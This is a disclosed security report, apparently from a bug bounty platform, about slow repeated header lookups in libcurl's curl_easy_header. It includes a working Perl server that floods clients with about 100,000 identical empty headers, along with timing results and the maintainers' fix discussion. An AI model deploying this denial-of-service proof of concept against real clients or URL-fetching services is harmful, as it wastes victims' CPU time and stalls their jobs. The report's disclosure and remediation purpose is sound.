摘要
curl_easy_header 函数的实现存在性能问题,恶意服务器可通过将所有头部数据置于单一键下进行滥用。例如,服务器响应可能如下:
1
2
3
4
5
6
|
HTTP/1.1 200 OK
a:
a:
a:
a:
[重复直至达到 MAX_HTTP_RESP_HEADER_SIZE 字节限制]
|
开发者若需遍历头部,通常会使用类似以下代码(取自 tests/libtest/lib1940.c):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
if(CURLHE_OK == curl_easy_header(easy, testdata[i], 0, CURLH_HEADER, HEADER_REQUEST, &header)) {
if(header->amount > 1) {
/* 多个头部,迭代遍历 */
size_t index = 0;
size_t amount = header->amount;
do {
curl_mprintf("- %s == %s (%u/%u)\n", header->name, header->value, (int)index, (int)amount);
if(++index == amount)
break;
if(CURLHE_OK != curl_easy_header(easy, testdata[i], index, CURLH_HEADER, HEADER_REQUEST, &header))
break;
} while(1);
}
else {
/* 仅有一个头部 */
curl_mprintf(" %s == %s\n", header->name, header->value);
}
}
|
每次调用 curl_easy_header 都会遍历所有条目,可能两次:首先计算具有该名称的头部数量,然后查找请求的索引(lib/headers.c):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
/* 需要第一轮计算该头部的数量 */
for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
hs = Curl_node_elem(e);
if(strcasecompare(hs->name, name) && (hs->type & type) && (hs->request == request)) {
amount++;
pick = hs;
e_pick = e;
}
}
if(!amount)
return CURLHE_MISSING;
else if(nameindex >= amount)
return CURLHE_BADINDEX;
if(nameindex == amount - 1)
/* 如果请求的是最后一个或唯一出现,则已知 */
hs = pick;
else {
for(e = Curl_llist_head(&data->state.httphdrs); e; e = Curl_node_next(e)) {
hs = Curl_node_elem(e);
if(strcasecompare(hs->name, name) && (hs->type & type) && (hs->request == request) && (match++ == nameindex)) {
e_pick = e;
break;
}
}
}
|
根据硬件性能,这可能累积至分钟或更长时间。
注意:本报告未使用 AI 生成。
受影响版本
当前测试版本为 git @ 283ad5c4320fa1d733e60a0dbe216ee36e3924fb
1
2
3
4
5
|
./src/curl -V
curl 8.14.0-DEV (x86_64-pc-linux-gnu) libcurl/8.14.0-DEV OpenSSL/3.0.2 zlib/1.2.11 libpsl/0.21.0
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM PSL SSL threadsafe TLS-SRP UnixSockets
|
复现步骤
以下是一个 Perl 服务器示例,可生成约 300k 的头部数据,所有键均为 ‘a’,无值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
#!/usr/bin/env perl
use strict;
use warnings;
use IO::Socket qw(AF_INET AF_UNIX SOCK_STREAM SHUT_RDWR);
# 生成大量空头部,尽可能多地填充,所有键相同:
#
# a:
# a:
# a:
# a:
# ...
# 超过此值 curl 会报错:
#
# Too large response headers: 307204 > 307200
#
my $header_count = 102_390;
my $headers = join("\n", ("a:") x $header_count) . "\n";
my $hlen = length($headers);
print "Using: $hlen bytes for the header with $header_count entries\n\n";
my $server = IO::Socket->new(
Domain => AF_INET,
Type => SOCK_STREAM,
Proto => 'tcp',
LocalHost => '0.0.0.0',
LocalPort => 3333,
ReusePort => 1,
Listen => 5,
) || die "Can't open socket: $@";
print "Try http://127.0.0.1:3333\n\n";
while (1) {
my $client = $server->accept();
print "Got a client\n";
# 读取请求并忽略
my $data = "";
$client->recv($data, 1024);
print "Got a request: \n\n" . $data =~ s/^/ /gmr;
$client->send("HTTP/1.1 200 OK\r\n");
print "H: $hlen\n";
while ($hlen > 0) {
print "Sending a chunk of headers...\n";
my $sent = $client->send($headers);
unless (defined $sent) {
die " Failed to send? $!\n";
}
substr($headers, 0, $sent) = "";
$hlen -= $sent;
print " ..sent $sent bytes\n";
}
$client->send("\nhi.\n");
$client->shutdown(SHUT_RDWR);
print "Responded\n\n";
# 每次循环重置
$headers = join("\n", ("a:") x $header_count) . "\n";
$hlen = length($headers);
}
|
然后,您可以修改 lib1940.c 进行测试:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
diff --git a/tests/libtest/lib1940.c b/tests/libtest/lib1940.c
index 16e288029..9efb0934d 100644
--- a/tests/libtest/lib1940.c
+++ b/tests/libtest/lib1940.c
@@ -27,7 +27,7 @@
#include "memdebug.h"
static const char *testdata[]={
- "daTE",
+ "a",
"Server",
"content-type",
"content-length",
|
1
2
3
4
5
6
7
|
$ time ./lib1940 http://localhost:3333 >/dev/null
[...]
Test ended with result 0
real 0m51.830s
user 0m51.580s
sys 0m0.214s
|
这也意味着使用 --write-out '%{header_json}' 的 curl 本身会受到影响:
1
2
3
4
5
|
$ time ./src/curl --write-out '%{header_json}' http://localhost:3333 >/dev/null
[...]
real 1m28.856s
user 1m28.702s
sys 0m0.116s
|
影响
摘要:
个人认为此漏洞的影响较低。攻击者需要诱使用户使用 -write-out '%{header_json%}' 访问恶意服务器,或使用 curl_easy_header 迭代所有值的库。
单次请求会消耗约分钟或更长的 CPU 时间,具体取决于硬件。除非能强制用户发起多次请求并消耗大量 CPU,否则损害似乎有限。
更大的问题可能是导致 cron 作业或其他同步进程的阻塞时间远超出预期。
团队反馈与修复
- dgustafsson (curl staff):感谢报告。同意可以改进,但认为将其称为安全漏洞有些牵强。
- wolfsage:出于安全考虑,选择在公开列表发布报告。
- dgustafsson:强调报告正确,但可能通过常规 PR 处理。
- jimfuller2024 (curl staff):报告清晰,结合
--write-out 和并行请求可能导致 curl 工具拒绝服务,但不符合安全问题的阈值,仅为代码错误。
- wolfsage:风险在于服务允许用户输入 URL 获取内容(如 icalendars、webhooks 等),且服务提供商使用 libcurl 并迭代所有头部。
- bagder (curl staff):提议的修复为每个传输添加最多 5,000 个头部的限制:https://github.com/curl/curl/pull/17281
- bagder:关闭报告,状态改为 Informative。允许用户自定义 URL 会邀请攻击者进行各种恶意行为,此缓慢问题未显著改变风险集。现已修复。
披露信息
- 报告 ID:#3133253
- 严重性:无评级 (—)
- 披露时间:2025 年 7 月 1 日下午 2:07 UTC
- 弱点:不受控制的资源消耗
- CVE ID:无
- 赏金:无
感谢所有参与者的工作和高质量报告!